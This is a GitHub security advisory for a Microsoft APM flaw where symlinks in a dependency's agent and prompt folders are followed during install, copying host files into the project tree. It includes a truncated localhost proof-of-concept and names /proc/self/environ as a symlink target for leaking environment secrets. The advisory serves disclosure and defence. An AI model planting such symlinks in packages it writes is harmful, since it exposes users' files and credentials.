GitHub Advisoryadvisory · PyPI
GHSA-q5pp-gvjg-h7v4 Microsoft APM: Symlinks under `.apm/prompts/` and `.apm/agents/` are dereferenced during `apm install`, copying host-local file contents into the project tree
HIGH
Official page ↗
- Aliases
- CVE-2026-45539
- Ecosystem
- PyPI
- Packages
- apm
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-200, CWE-59
- Reviewed
- 2026-05-18
Affected packages
• PyPI apm: >= 0.5.4, < 0.13.0 → fixed in 0.13.0
Description
Summary
Two primitive integrators in `apm-cli` enumerate package files with bare `Path.glob()` / `Path.rglob()` calls and read each match with `Path.read_text()`, transparently following symbolic links.
A symlink committed inside a remote APM dependency under `.apm/prompts/.prompt.md` or `.apm/agents/.agent.md` is preserved verbatim into `apm_modules/` on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories.
The package `content_hash`, the pre-deploy `SecurityGate` scan, and `apm audit` do not flag this. The deploy roots are not added to the auto-generated `.gitignore`, so the resulting files are staged by `git add` by default.
This was reproduced via the standard `owner/repo#tag` install flow against a real bare git repository. No `--force` or special flags were used.
Affected code
Sinks
• `src/apm_cli/integration/prompt_integrator.py`
`PromptIntegrator.find_prompt_files`: `package_path.glob("*.prompt.md")` and `apm_prompts.glob("*.prompt.md")`
No symlink filter.
• `src/apm_cli/integration/prompt_integrator.py`
`PromptIntegrator.copy_prompt`: `source.read_text("utf-8")`
• `src/apm_cli/integration/agent_integrator.py`
`AgentIntegrator.find_agent_files`: `package_path.glob("*.agent.md")`, `apm_agents.rglob("*.agent.md")`, `apm_agents.rglob("*.md")`, `apm_chatmodes.glob("*.chatmode.md")`
No symlink filter.
• `src/apm_cli/integration/agent_integrator.py`
`AgentIntegrator.copy_agent`: `source.read_text("utf-8")`
• `src/apm_cli/integration/agent_integrator.py`
`_write_codex_agent`: `source.read_text("utf-8")`; resolved bytes are embedded into `developer_instructions` of the generated `.codex/agents/.toml`
• `src/apm_cli/integration/agent_integrator.py`
`_write_windsurf_agent_skill`: same dereference pattern; resolved bytes land in `.windsurf/skills//SKILL.md`
Safe pattern already present in the codebase
• `src/apm_cli/integration/base_integrator.py`
`BaseIntegrator.find_files_by_glob()` rejects:
• symlinks via `f.is_symlink()`
• hardlinks via `f.stat().st_nlink > 1`
• resolved paths escaping the package root
This helper is already used by `InstructionIntegrator.find_instruction_files`.
Documented contract that the affected integrators violate
In `src/apm_cli/install/phases/local_content.py`, `_copy_local_package` documents the intent of preserving symlinks in `apm_modules/`:
> This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in `apm_modules/` are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.
The affected integrators are the consumer tools that follow the link without sandboxing.
Reproducer
This proof of concept is localhost-only and uses a sentinel file, not a real secret.
It uses a real bare git repository and `git config insteadOf` so the install path is the same one APM uses for real GitHub clones (`Repo.clone_from`). No network access is required.
```bash
0. Clean slate
rm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home
mkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home
1. Sentinel file outside the project and outside the package
echo 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc_secret
2. Build a benign-looking APM package with two symlinks in it
cd /tmp/poc/work_repo
git init -q -b main .
git config user.email [email protected]
git config user.name 'PoC'
cat > apm.yml .apm/agents/helper.agent.md /tmp/poc_home/.gitconfig /tmp/poc/victim_project/apm.yml ] Installing dependencies from apm.yml...
[>] Resolving poc-author/helpful-agents...
[i] Targets: claude, codex, copilot, cursor, windsurf (source: apm.yml)
[+] poc-author/helpful-agents #v1.0.0 @fa437578
|-- 1 prompts integrated -> .github/prompts/
|-- 10 agents integrated -> 5 targets
[*] Installed 1 APM dependency in 0.1s.
```
The source under `apm_modules/` remains a symlink:
```bash
ls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md
lrwxrwxrwx ... .apm/agents/notes.agent.md -> /tmp/poc_secret
```
The deploy roots receive plain regular files containing the sentinel:
• `.github/agents/notes.agent.md`
• `.github/prompts/welcome.prompt.md`
• `.claude/agents/notes.md`
• `.cursor/agents/notes.md`
• `.codex/agents/notes.toml`
• `.windsurf/skills/notes/SKILL.md`
Example:
```bash
cat /tmp/poc/victim_project/.claude/agents/notes.md
APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL
```
The deployed files persist after the original symlink target is removed:
```bash
rm /tmp/poc_secret
cat /tmp/poc/victim_project/.claude/agents/notes.md
APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL
```
Defenses that did not flag the result
• The pre-deploy `SecurityGate.scan_files` walks with `followlinks=False` and continues past `is_symlink()` files. The symlinked source is not scanned.
• `apm audit` against the post-install tree reports no findings.
• The auto-written `.gitignore` contains only `apm_modules/`. The deploy roots are not excluded, and `git add -A` stages all deployed files alongside `apm.lock.yaml`.
• The package `content_hash` is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.
Impact
The directly demonstrated impact is file-content disclosure.
Any file readable by the user running `apm install` can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project's deploy directories as regular files.
Realistic downstream consequences
These were not separately demonstrated with real secrets, but they follow from the validated behavior:
• The deploy directories (`.github/`, `.claude/`, `.cursor/`, `.codex/`, `.windsurf/`) are project-tracked by convention, and the auto-generated `.gitignore` does not exclude them.
• In automation that regenerates and commits agent context, the leaked files can be pushed without human review.
• A symlink target such as `/proc/self/environ` would resolve to the APM process environment at install time.
Why this is security-relevant and not intended behavior
This is not just "a malicious package being malicious."
The codebase already contains the correct defense in `BaseIntegrator.find_files_by_glob()`, and that helper explicitly rejects symlinks, hardlinks, and c…
Related
Alias · CVE (1)
- CVE-2026-45539 Microsoft APM is an open-source, community-driven dependency manager for AI agents. vulnerability
References
- https://github.com/microsoft/apm/security/advisories/GHSA-q5pp-gvjg-h7v4 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-45539 advisory
- https://github.com/microsoft/apm/commit/f85b9f54ad303159f9c448268eb7005c319fe02a web
- https://github.com/microsoft/apm package
- https://github.com/microsoft/apm/releases/tag/v0.13.0 web